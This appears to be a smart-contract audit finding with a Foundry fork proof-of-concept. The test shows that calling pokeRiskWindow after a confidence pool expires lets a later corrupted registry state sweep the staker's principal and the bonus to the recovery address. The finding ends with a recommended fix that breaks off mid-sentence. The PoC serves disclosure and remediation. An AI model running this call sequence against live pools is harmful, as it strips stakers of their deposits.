function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
_observePoolState();
if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
}
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
if (riskWindowStart == 0 && _isActiveRiskState(state)) {
_markRiskWindowStart();
}
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;
}
function claimExpired() external nonReentrant {
if (block.timestamp < expiry) revert PoolNotExpired();
if (outcome == PoolStates.Outcome.UNRESOLVED) {
IAttackRegistry.ContractState state = _observePoolState();
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
outcomeFlaggedAt = riskWindowEnd;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
return;
}
if (state == IAttackRegistry.ContractState.PRODUCTION) {
outcome = PoolStates.Outcome.SURVIVED;
} else {
outcome = PoolStates.Outcome.EXPIRED;
outcomeFlaggedAt = expiry;
}
}
}
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
contract ConfidencePoolPostExpiryRiskWindowForkPoCTest is Test {
address internal constant SAFE_HARBOR_REGISTRY = 0x0a652e265336a0296816aC4D8400880e3E537C24;
address internal constant ATTACK_REGISTRY = 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address internal constant DEMO_AGREEMENT = 0xE550894617Ac4C1bbc019C2AA5D47495a0F07716;
address internal constant DEMO_AGREEMENT_OWNER = 0x3EfcFc441c1e70A141850D4da0d5C7314952Fc3d;
address internal constant DEMO_AGREEMENT_IN_SCOPE = 0xeEFCFBeFCE9a8fbB20694483DA9E6fBbcD5084A7;
uint256 internal constant PIN_BLOCK = 16000;
uint256 internal constant ONE = 1e18;
ConfidencePoolFactory internal factory;
ConfidencePool internal pool;
MockERC20 internal stakeToken;
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal alice = makeAddr("alice");
address internal carol = makeAddr("carol");
address internal dave = makeAddr("dave");
function setUp() public {
try vm.envString("BATTLECHAIN_TESTNET_RPC") returns (string memory rpcUrl) {
rpcUrl;
vm.createSelectFork("battlechain_testnet", PIN_BLOCK);
} catch {
vm.createSelectFork("https://testnet.battlechain.com", PIN_BLOCK);
}
ConfidencePool poolImpl = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImpl),
abi.encodeCall(ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(poolImpl), moderator))
);
factory = ConfidencePoolFactory(address(proxy));
stakeToken = new MockERC20();
factory.setStakeTokenAllowed(address(stakeToken), true);
_mockAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
address[] memory accounts = new address[](1);
accounts[0] = DEMO_AGREEMENT_IN_SCOPE;
vm.prank(DEMO_AGREEMENT_OWNER);
pool = ConfidencePool(
factory.createPool(DEMO_AGREEMENT, address(stakeToken), block.timestamp + 31 days, ONE, recovery, accounts)
);
}
function testForkPoC_postExpiryPokeEnablesCorruptedSweepForExpiredPool() external {
uint256 stakeAmount = 100 * ONE;
uint256 bonusAmount = 50 * ONE;
_stake(alice, stakeAmount);
_contributeBonus(carol, bonusAmount);
vm.warp(uint256(pool.expiry()) + 1);
_mockAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.prank(dave);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), pool.expiry(), "post-expiry risk marker is capped to expiry");
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.UNRESOLVED), "poke does not resolve expired pool");
_mockAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.warp(uint256(pool.expiry()) + pool.MODERATOR_CORRUPTED_GRACE());
vm.prank(dave);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "expired pool auto-corrupted");
assertTrue(pool.claimsStarted(), "mechanical corruption is final");
assertEq(pool.corruptedReserve(), stakeAmount + bonusAmount, "full expired pool marked for recovery");
vm.prank(alice);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.claimExpired();
uint256 recoveryBefore = stakeToken.balanceOf(recovery);
pool.claimCorrupted();
assertEq(stakeToken.balanceOf(recovery) - recoveryBefore, stakeAmount + bonusAmount, "full pool swept");
assertEq(stakeToken.balanceOf(alice), 0, "staker loses principal after post-term risk");
assertEq(stakeToken.balanceOf(address(pool)), 0, "pool drained");
}
function testForkPoC_CONTROL_withoutPostExpiryPokeSameLaterCorruptionExpires() external {
uint256 stakeAmount = 100 * ONE;
uint256 bonusAmount = 50 * ONE;
_stake(alice, stakeAmount);
_contributeBonus(carol, bonusAmount);
vm.warp(uint256(pool.expiry()) + 1);
_mockAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
_mockAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.warp(uint256(pool.expiry()) + pool.MODERATOR_CORRUPTED_GRACE());
uint256 aliceBefore = stakeToken.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "no observed risk resolves expired");
assertEq(pool.riskWindowStart(), 0, "no post-expiry active-risk marker");
assertEq(stakeToken.balanceOf(alice) - aliceBefore, stakeAmount, "staker recovers principal");
assertEq(stakeToken.balanceOf(address(pool)), bonusAmount, "bonus remains sweepable");
}
function testForkPoC_CONTROL_claimAtExpiryPreventsLaterPostTermRiskFromChangingOutcome() external {
uint256 stakeAmount = 100 * ONE;
uint256 bonusAmount = 50 * ONE;
_stake(alice, stakeAmount);
_contributeBonus(carol, bonusAmount);
vm.warp(uint256(pool.expiry()) + 1);
vm.prank(dave);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "pool resolved at term end");
assertTrue(pool.claimsStarted(), "mechanical expiry is final");
_mockAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
_mockAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.warp(uint256(pool.expiry()) + pool.MODERATOR_CORRUPTED_GRACE());
uint256 aliceBefore = stakeToken.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "later post-term risk ignored");
assertEq(pool.riskWindowStart(), 0, "post-resolution poke is a no-op");
assertEq(stakeToken.balanceOf(alice) - aliceBefore, stakeAmount, "staker recovers principal");
assertEq(stakeToken.balanceOf(address(pool)), bonusAmount, "bonus remains sweepable");
}
function _stake(address user, uint256 amount) internal {
stakeToken.mint(user, amount);
vm.startPrank(user);
stakeToken.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(address user, uint256 amount) internal {
stakeToken.mint(user, amount);
vm.startPrank(user);
stakeToken.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
function _mockAgreementState(IAttackRegistry.ContractState state) internal {
vm.clearMockedCalls();
vm.mockCall(
ATTACK_REGISTRY,
abi.encodeCall(IAttackRegistry.getAgreementState, (DEMO_AGREEMENT)),
abi.encode(state)
);
}
}
Do not allow post-expiry active-risk observations to satisfy the principal-loss auto-CORRUPTED gate. One conservative fix is to make pokeRiskWindow() reject after expiry so callers must resolve the pool instead of only setting the latch: